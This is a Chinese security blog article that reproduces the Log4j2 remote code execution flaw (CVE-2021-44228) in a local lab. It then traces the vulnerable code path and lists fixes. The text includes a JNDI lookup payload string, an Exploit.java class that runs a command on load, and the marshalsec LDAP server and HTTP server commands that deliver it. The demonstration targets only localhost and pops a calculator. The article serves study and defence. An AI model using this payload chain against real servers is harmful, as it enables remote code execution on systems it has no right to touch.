freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Apache Log4j2 RCE命令执行漏洞分析
2024-09-04 21:18:21

一、简介

最近闲来无事,在闲暇时间搭建环境复现并分析了经典Apache Log4j2 RCE 漏洞(CVE-2021-44228) ,有感兴趣的师傅们可以研究学习,共同成长进步。

Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题,是目前最优秀的Java日志框架之一。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响,阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。

该漏洞的触发点在于利用org.apache.logging.log4j.Logger进行log或error等记录操作时未对日志message信息进行有效检查,从而导致漏洞发生。

影响版本

Apache Log4j 2.x <= 2.14.1

二、漏洞环境搭建

先新建一个maven工程

1725454133_66d85735d1c93375f5ebd.png!small?1725454139605

点击Next

1725454151_66d857470d7aa5718b751.png!small?1725454156273

给工程随便起一个名字: Apache Log4j2-test

1725454186_66d8576a5df26e0bcb35e.png!small?1725454191422

在生成的pom.xml文件中添加Apache Log4j依赖

1725454200_66d85778a8687348ca24f.png!small?1725454205896


<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.12.0</version>
</dependency>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.12.0</version>
</dependency>
</dependencies>

然后重构maven工程

1725454250_66d857aa704b166c4a581.png!small?1725454255959

在src/main/java下新建咱们的测试文件

1725454267_66d857bbb438b367a57ba.png!small?1725454272696


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import sun.applet.Main;

public class log4j {
private static Logger LOG=LogManager.getLogger(Main.class);
public static void main(String[] args) {
LOG.error("${jndi:ldap://localhost:9394/Exploit}");
}
}

三、漏洞复现

新建一个攻击文件Exploit.java,文件内容如下:

1725454304_66d857e030baee27d15f6.png!small?1725454309170


import java.lang.Runtime;
import java.lang.Process;

public class  Exploit{
static {
try {
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}

编译成class文件 : javac Exploit.java

网上有说漏洞能否复现成功和java版本有关系(复现环境的jdk版本最好<=8u191),建议先查看一下java版本8u301(不过照样复现成功^_^)

1725454351_66d8580f314e71db28b0a.png!small?1725454356267


使用python起一个web服务

python3 -m http.server 8888

1725454364_66d8581cf24debfd5699e.png!small?1725454369895


在有marshalsec-0.0.3-SNAPSHOT-all.jar的目录下执行以下命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" 9394

1725454380_66d8582ce07128f3fd94f.png!small?1725454385918

运行log4j.java

1725454400_66d8584076e47d485cde8.png!small?1725454405403

成功弹出计算器

1725454537_66d858c9ee2531219898e.png!small?1725454543065

1725454544_66d858d0ec03748018578.png!small?1725454549977

1725454551_66d858d752d3a9702b3b9.png!small?1725454556207


四、漏洞分析

漏洞的关键点在log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class#format

该函数会将收到的消息匹配以${开始}结尾中间的所有字符,调用一些允许范围内的语法

1725454586_66d858faa537c6fbf19b6.png!small?1725454591511

使用正向分析。先从咱们的入口进入

1725454599_66d859077b2edb39d11de.png!small?1725454604580

来到log4j-api-2.12.0.jar!\org\apache\logging\log4j\spi\AbstractLogger.class#error,调用logIfEnabled方法,跟进如下图所示:

1725454617_66d859190b74cc704cdd0.png!small?1725454622345

这里有一个判断,符合条件才能调用logMessage方法,就大致说一下结论吧:level<=200 就行

level对应表,使用ERROR,FATAL,OFF满足条件
OFF(0),
FATAL(100),
ERROR(200),
WARN(300),
INFO(400),
DEBUG(500),
TRACE(600),
ALL(2147483647);
如WARN、INFO、DEBUG、ALL,则无法触发该漏洞。也就是说,漏洞能否成功触发与设置的日志Level有关。

1725454666_66d8594a9e62c6d2d33c9.png!small?1725454671853


接下来就是一步步进入一系列函数

1725454679_66d859579d824a143f180.png!small?1725454684606

1725454683_66d8595bad7ed64cd668a.png!small?1725454688771

1725454691_66d859636e4dd4683cede.png!small?1725454696462

1725454717_66d8597d4f647b6935ead.png!small?1725454722729

我们直接来到关键地方log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\Logger.class#logMessage,实例化一个DefaultReliabilityStrategy类,然后调用其log方法

1725454748_66d8599cb88de85ec401b.png!small?1725454753693

先来到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\config\DefaultReliabilityStrategy.class#log,调用this.loggerConfig.log方法,this.loggerConfig为LoggerConfig

1725454762_66d859aace51272688e06.png!small?1725454767886

进入到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\config\LoggerConfig.class#log函数,先将咱们的LOG.error中的消息(data参数)和一些其他杂七杂八的配置整合到进logEvent,然后调用this.log方法

1725454776_66d859b8c8addcfad9940.png!small?1725454781960

进入判断,这个不用管,默认会进入判断语句里面,可以看到此时我们的payload存放在messageFormat中

1725454790_66d859c6f3d18a8d4502e.png!small?1725454796299

跟进到processLogEvent函数,还是默认

1725454808_66d859d83a17e090a36cd.png!small?1725454813479

来到callAppenders,实例化一个AppenderControl类,然后调用其callAppender函数

1725454821_66d859e5ac3ce463bf30d.png!small?1725454827081

跟进到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\config\AppenderControl.class#callAppender

1725454834_66d859f2167a61572d947.png!small?1725454839104

还是常规的各种函数调用,一路都是跟着默认走

1725454856_66d85a08932b80cce619b.png!small?1725454861537

1725454862_66d85a0ea415d27517423.png!small?1725454867495

1725454867_66d85a1373d868edf4a39.png!small?1725454872439

log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\appender\AbstractOutputStreamAppender.class#append

1725454879_66d85a1fbaeb147196adf.png!small?1725454884776


1725454885_66d85a2552d900eee34dc.png!small?1725454890258

1725454891_66d85a2b9a470760897cb.png!small?1725454896563

1725454899_66d85a336e1948a6dd37d.png!small?1725454904750

1725454905_66d85a39a3b988f7f4b0e.png!small?1725454910654


来到关键点之一log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\layout\PatternLayout.class#toSerializable,跟进i参数依次调用对应的类的format方法。其中就有咱们漏洞的主人公MessagePatternConverter

8 = {PatternFormatter@1872} "org.apache.logging.log4j.core.pattern.PatternFormatter@752325ad[converter=org.apache.logging.log4j.core.pattern.MessagePatternConverter@279fedbd, field=org.apache.logging.log4j.core.pattern.FormattingInfo@ba2f4ec[leftAlign=false, maxLength=2147483647, minLength=0, leftTruncate=true, zeroPad=false]]"

1725454922_66d85a4a8fcbfcc4ca48b.png!small?1725454928015


来到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class#format,取出${}里面的内容然后调用

workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));

漏洞关键点二:参数是调用log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\lookup\StrSubstitutor.class#replace处理咱们的payload(event中messageFormat参数值)

在函数114行首先要判断noLookups这个变量的值,noLookups默认为false,意思为开启JNDI格式化功能,这也是为什么修复方法中有一条是设置log4j2.formatMsgNoLookups=True

1725454938_66d85a5abad22d4fbf347.png!small?1725454944226

返回值会调用this.substitute进行判断

1725454952_66d85a6877a0f5dc31463.png!small?1725454957795

StrSubstitutor.class#substitute的374行会调用resolveVariable函数

1725454964_66d85a7434d18b4a116a2.png!small?1725454969394

该函数先获取StrLookup类的VariableResolver初始化配置信息:{date, java, marker, ctx, jndi, main, jvmrunargs, sys, env, log4j}

然后调用resolver.lookup方法

1725454977_66d85a815b28b4545b970.png!small?1725454982495

有多种不同的lookup方法,跟进payload中指定的命令而定

1725454988_66d85a8cbb45c411d1b28.png!small?1725454994159


当构造的event的prefix为jndi时,则通过org.apache.logging.log4j.core.lookup.JndiLookup的lookup()方法处理,从而触发JNDI漏洞利用。

访问ldap指定的地址然后执行恶意类造成RCE

1725455003_66d85a9be4149a605173e.png!small?1725455009188


调用链如下:

<clinit>:11, Exploit
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:198, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1060, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:982, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:878, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:433, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:334, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:233, PatternLayout (org.apache.logging.log4j.core.layout)
encode:218, PatternLayout (org.apache.logging.log4j.core.layout)
encode:58, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:464, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:448, LoggerConfig (org.apache.logging.log4j.core.config)
log:431, LoggerConfig (org.apache.logging.log4j.core.config)
log:406, LoggerConfig (org.apache.logging.log4j.core.config)
log:49, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
logMessage:146, Logger (org.apache.logging.log4j.core)
tryLogMessage:2170, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2125, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2108, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2002, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1974, AbstractLogger (org.apache.logging.log4j.spi)
error:731, AbstractLogger (org.apache.logging.log4j.spi)
main:8, log4j

五、漏洞修复

(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2)在应用程序的classpath下添加log4j2.component.properties配置文件文件,文件内容:log4j2.formatMsgNoLookups=True

(3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true


*该文章仅用于安全技术分享,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责文章作者不为此承担任何责任。*

# web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录